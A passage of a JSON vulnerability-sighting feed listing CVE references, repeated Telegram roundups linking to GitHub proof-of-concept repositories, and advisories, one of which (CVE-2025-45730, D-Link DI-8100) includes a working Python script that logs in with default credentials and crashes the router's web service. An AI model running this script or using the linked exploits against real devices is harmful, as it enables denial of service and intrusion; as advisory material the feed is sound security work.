\u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/7D54E24C-3A9A-4938-A8B5-04123BDDC19E", "creation_timestamp": "2026-07-02T05:57:16.362044Z"}, {"uuid": "f82b015f-377a-4548-a4b3-8af637ac6c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30226", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.299742Z"}, {"uuid": "66a7f334-fcae-4db1-92b2-f57666d182db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45619", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxgywyzrb2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2025-45619 \u0432 \u043a\u0430\u043c\u0435\u0440\u0430\u0445 Aver PTC310UV2: \u0443\u0433\u0440\u043e\u0437\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430\n\n\n\nhttps://kripta.biz/posts/9F353409-CD75-4EBC-B388-5761E2CCF458", "creation_timestamp": "2026-07-06T06:18:23.960317Z"}, {"uuid": "0a1c018a-9093-47fa-8827-9dfba938475a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30226", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.209352Z"}, {"uuid": "6de21423-8a68-4e79-9dbc-c780030c3496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45422", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116895931383000599", "content": "CVE-2025-45422: Proximus b-box UPnP Persistence & Access Control Bypass https://github.com/Cedrico03/CVE-2025-45422---Bbox", "creation_timestamp": "2026-07-10T13:32:41.408514Z"}, {"uuid": "c52672a4-a3bd-4705-967b-da85208d3949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45422", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mqcb5c7v52t2", "content": "CVE-2025-45422: Proximus b-box UPnP Persistence & Access Control Bypass https://github.com/Cedrico03/CVE-2025-45422---Bbox", "creation_timestamp": "2026-07-10T13:35:59.419939Z"}, {"uuid": "ea1c4796-6844-4a93-9482-1979af933caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17079", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.888218Z"}, {"uuid": "09e9b701-0d4a-42a7-a624-5ff2106bf797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "seen", "source": "Telegram/IBDLQiEWHO72tUJ2Ylqd3zBHJI3jkAPrj_4aeIoADYB6Hgg", "content": "", "creation_timestamp": "2026-08-27T12:00:10.580757Z"}, {"uuid": "83b5ba28-c217-4a6e-8aac-07e2cdb0bcf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45528", "type": "seen", "source": "https://gist.github.com/momenbasel/66e33613a52f6f59e49ee8ca6ea91a61", "content": "# CVE-2025-45528: Arbitrary Code Execution in Nitro PDF Pro for macOS 14.7\n\n- **CVE ID:** CVE-2025-45528\n- **Status:** RESERVED (assigned by MITRE 2025-06-17, Service Request 1843838)\n- **Affected product:** Nitro PDF Pro for macOS, version 14.7\n- **Vendor:** Nitro Software, Inc. \u2014 https://www.gonitro.com/\n- **Vulnerability class:** Arbitrary code execution via crafted file (CWE-94)\n- **Attack vector:** Local \u2014 requires the victim to open a crafted PDF\n- **Reporter:** Mo'men Basel\n\n## Summary\n\nNitro PDF Pro for macOS v14.7 allows a local attacker to execute arbitrary code\nvia a crafted PDF.\n\nThis is the description MITRE assigned CVE-2025-45528 to, verbatim, on\n17 June 2025:\n\n> An issue in Nitro Software, Inc Nitro PDF Pro for macOS v.14.7 allows a local\n> attacker to execute arbitrary code via a crafted PDF\n\n## Impact\n\nCode execution in the context of the user who opens the document. PDFs are\nroutinely received by email and from untrusted sources, and Nitro PDF Pro is\nfrequently configured as the default handler for the file type on macOS, so the\nrequired user interaction is a low barrier.\n\n## Affected versions\n\nConfirmed on Nitro PDF Pro for macOS 14.7. Later versions have not been assessed\nby the reporter.\n\n## Vendor status\n\nNo advisory for this issue was published by Nitro Software at the time of\nwriting, and the CVE record has remained unpublished since assignment.\n\nNitro Software's security team was contacted at `security@gonitro.com` on\n2026-08-27 with the details and a request for a vendor advisory so this record\ncan be published. This document exists to provide the public reference MITRE\nrequires before a reserved CVE can move to published.\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2025-03-28 | Reported to MITRE (Service Request 1843838) |\n| 2025-06-17 | CVE-2025-45528 assigned; record held reserved |\n| 2026-08-27 | Confirmed absent from the CVE List and NVD |\n| 2026-08-27 | Vendor contacted at security@gonitro.com |\n| 2026-08-27 | This advisory published as the public reference |\n\n## Verification of unpublished status\n\nQueried on 2026-08-27:\n\n```\n$ curl -s https://cveawg.mitre.org/api/cve/CVE-2025-45528\n{\"error\":\"CVE_RECORD_DNE\",\"message\":\"The cve record for the cve id does not exist.\"}\n```\n\nThe ID is also absent from the NVD API.\n\n## Credit\n\nMo'men Basel\n", "creation_timestamp": "2026-08-27T12:35:24.351421Z"}, {"uuid": "99827107-a514-456c-8cfa-3e64b4922895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45422", "type": "seen", "source": "Telegram/kQBPOJZRPfFE-rjb5OWBI31fcS08jxE2VBe_KgzBWEfjeHI", "content": "", "creation_timestamp": "2026-07-16T19:00:26.600059Z"}, {"uuid": "2abc955e-fbcd-46fa-bfea-5ebc3c0be9c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45422", "type": "seen", "source": "Telegram/kQBPOJZRPfFE-rjb5OWBI31fcS08jxE2VBe_KgzBWEfjeHI", "content": "", "creation_timestamp": "2026-07-17T00:00:42.949213Z"}, {"uuid": "b81a0041-50c9-42b9-b58b-38a188ae2d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45422", "type": "published-proof-of-concept", "source": "Telegram/kQBPOJZRPfFE-rjb5OWBI31fcS08jxE2VBe_KgzBWEfjeHI", "content": "", "creation_timestamp": "2026-07-18T00:00:08.498396Z"}, {"uuid": "547afe94-8965-4db0-bdd6-d31f8c5213b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "seen", "source": "Telegram/IBDLQiEWHO72tUJ2Ylqd3zBHJI3jkAPrj_4aeIoADYB6Hgg", "content": "", "creation_timestamp": "2026-08-28T00:00:53.356721Z"}, {"uuid": "509055bc-2f14-4b30-b345-0d3ab0540030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://t.me/cyberwarehouse/860", "content": "\u200aCritical Python Tarfile Flaw (CVE-2025-4517, CVSS 9.4): Arbitrary File Write, PoC Available\n\nhttps://securityonline.info/critical-python-tarfile-flaw-cve-2025-4517-cvss-9-4-arbitrary-file-write-poc-available/", "creation_timestamp": "2026-07-26T02:00:11.647061Z"}, {"uuid": "3ff17581-5a4e-4a05-bf28-9b0b2f448166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "published-proof-of-concept", "source": "Telegram/IBDLQiEWHO72tUJ2Ylqd3zBHJI3jkAPrj_4aeIoADYB6Hgg", "content": "", "creation_timestamp": "2026-08-29T00:00:15.977487Z"}, {"uuid": "eb524671-63ce-4c65-9fef-b1e0112ccf82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/860", "content": "\u200aCritical Python Tarfile Flaw (CVE-2025-4517, CVSS 9.4): Arbitrary File Write, PoC Available\n\nhttps://securityonline.info/critical-python-tarfile-flaw-cve-2025-4517-cvss-9-4-arbitrary-file-write-poc-available/", "creation_timestamp": "2026-07-27T00:00:30.755445Z"}, {"uuid": "d767142c-c1b6-44dd-9962-07574f1fcbf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45216", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17079", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE vulnerabilities with recently published PoC repositories on GitHub, carefully selected to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2025-46812\n\ud83c\udfaf Apache OFBiz \u2013 Authentication Bypass / RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/axelp0l/CVE-2025-46812\n\n\ud83e\udde0 Overview\nA vulnerability in Apache OFBiz allows attackers to bypass authentication and potentially achieve remote code execution through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote code execution\n\u2022 Enterprise application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2025-45216\n\ud83c\udfaf Joomla Component \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/E1A/CVE-2025-45216\n\n\ud83e\udde0 Overview\nA vulnerable Joomla component allows attackers to upload malicious files, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Web server compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2025-44521\n\ud83c\udfaf Laravel Debug Mode Exposure\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xFay/CVE-2025-44521\n\n\ud83e\udde0 Overview\nA vulnerability in Laravel applications with debug mode enabled exposes sensitive environment variables and internal application data.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive data exposure\n\u2022 Credential leakage\n\u2022 Application compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-48933\n\ud83c\udfaf Spring Boot Actuator \u2013 Unauthorized Access\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/WhooAmii/CVE-2025-48933\n\n\ud83e\udde0 Overview\nImproperly secured Spring Boot Actuator endpoints allow attackers to access internal application data and management functions.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Information disclosure\n\u2022 Potential system manipulation\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-47012\n\ud83c\udfaf Magento \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bugexploit/CVE-2025-47012\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in Magento allows attackers to execute arbitrary database queries through crafted input parameters.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Full application takeover\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Web application security research\n\u2022 Red team training\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.411012Z"}, {"uuid": "c4f22d2e-1ca0-4c96-a201-46c97f1e5478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45730", "type": "seen", "source": "https://gist.github.com/Aifsoq/b8cd6dca85ec6bbe552a953b9702cb01", "content": "CVE-2025-45730: D-Link DI-8100 Stack Buffer Overflow Vulnerability\nCVE ID\nCVE-2025-45730\nVendor\nD-Link\nProduct\nD-Link DI-8100\nVulnerability Type\nStack-based Buffer Overflow\nAffected Component\n`jhttpd`\nVulnerable Function\n`jingx_asp`\nVulnerable Parameter\n`outdev`\nVulnerability Description\nA stack-based buffer overflow vulnerability exists in the `jhttpd` web\nservice of the D-Link DI-8100 router.\nThe vulnerability is located in the `jingx_asp` function. The value of\nthe `outdev` parameter is attacker-controlled and is subsequently used\nby `sprintf` to construct data in a stack-based buffer without adequate\nbounds checking.\nBy supplying an excessively long value to the `outdev` parameter, an\nattacker can trigger a stack buffer overflow.\nThe vulnerability was verified to cause the `jhttpd` web service to\ncrash, resulting in a denial-of-service condition.\nVulnerable Endpoint\nThe vulnerable parameter is accessible through the following endpoint:\n``` text\n/jingx.asp?outdev=\n```\nAn excessively long `outdev` value can trigger the stack buffer\noverflow.\nRoot Cause\nThe `jingx_asp` function obtains the value of the HTTP `outdev`\nparameter and passes attacker-controlled data to `sprintf`.\nThe relevant logic can be summarized as:\n``` c\noutdev = httpd_get_param(..., \"outdev\");\n...\nsprintf(stack_buffer, \"%s%s%s%s%s%s\", ..., outdev);\n```\nThe destination is a stack-based buffer and the attacker-controlled\ninput is not adequately restricted before being processed by `sprintf`,\nresulting in a stack buffer overflow.\nProof of Concept\nThe following proof of concept was used in the test environment to\ntrigger the vulnerability.\n``` python\nimport requests\n\nsession = requests.session()\n\nlogin_url = \"http://192.168.0.1/login.cgi\"\n\nlogin_headers = {\n    \"User-Agent\": \"Mozilla/5.0\",\n    \"Content-Type\": \"application/x-www-form-urlencoded\",\n    \"Origin\": \"http://192.168.0.1\",\n    \"Referer\": \"http://192.168.0.1/login.html\",\n    \"Connection\": \"close\",\n}\n\n# Credentials used in the test environment\nlogin_data = {\n    \"user\": \"admin\",\n    \"password\": \"admin\"\n}\n\nsession.post(\n    login_url,\n    headers=login_headers,\n    data=login_data\n)\n\npayload = b'a' * 0x450\n\npoc_url = f\"http://192.168.0.1/jingx.asp?outdev={payload}\"\n\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0\",\n    \"Connection\": \"close\",\n}\n\nresponse = session.get(\n    poc_url,\n    headers=headers\n)\n\nprint(response.text)\n```\nVerification\nThe vulnerability was tested in a firmware emulation environment using\nFirmAE.\nAfter sending the crafted request containing the oversized `outdev`\nparameter, the router's web service crashed and the web management\ninterface became unavailable.\nThis confirms that the stack buffer overflow can cause a\ndenial-of-service condition.\nImpact\nSuccessful exploitation can crash the `jhttpd` web service, making the\nrouter's web management interface unavailable and resulting in a\ndenial-of-service condition.\nThe underlying vulnerability is a stack-based buffer overflow. Further\nmemory corruption may be possible; however, only denial of service was\nverified during testing.\nAttack Vector\nAn attacker capable of sending a crafted request to the affected web\nmanagement interface can supply an oversized value through the `outdev`\nparameter of `jingx.asp` and trigger the vulnerability.\nFirmware / Download Reference\nThe firmware used for analysis was obtained from the official D-Link\nDI-8100 support page:\nhttps://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100\nAffected Version\nThe exact affected firmware version is not specified in the original\nvulnerability report.\nDiscoverer\nXinjie Zhang\nCVE\nCVE-2025-45730\nReferences\nCVE-2025-45730\nD-Link DI-8100 official support and firmware download page:\nhttps://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100\nCredit\nThis vulnerability was discovered by Xinjie Zhang.", "creation_timestamp": "2026-09-05T08:44:24.361092Z"}]}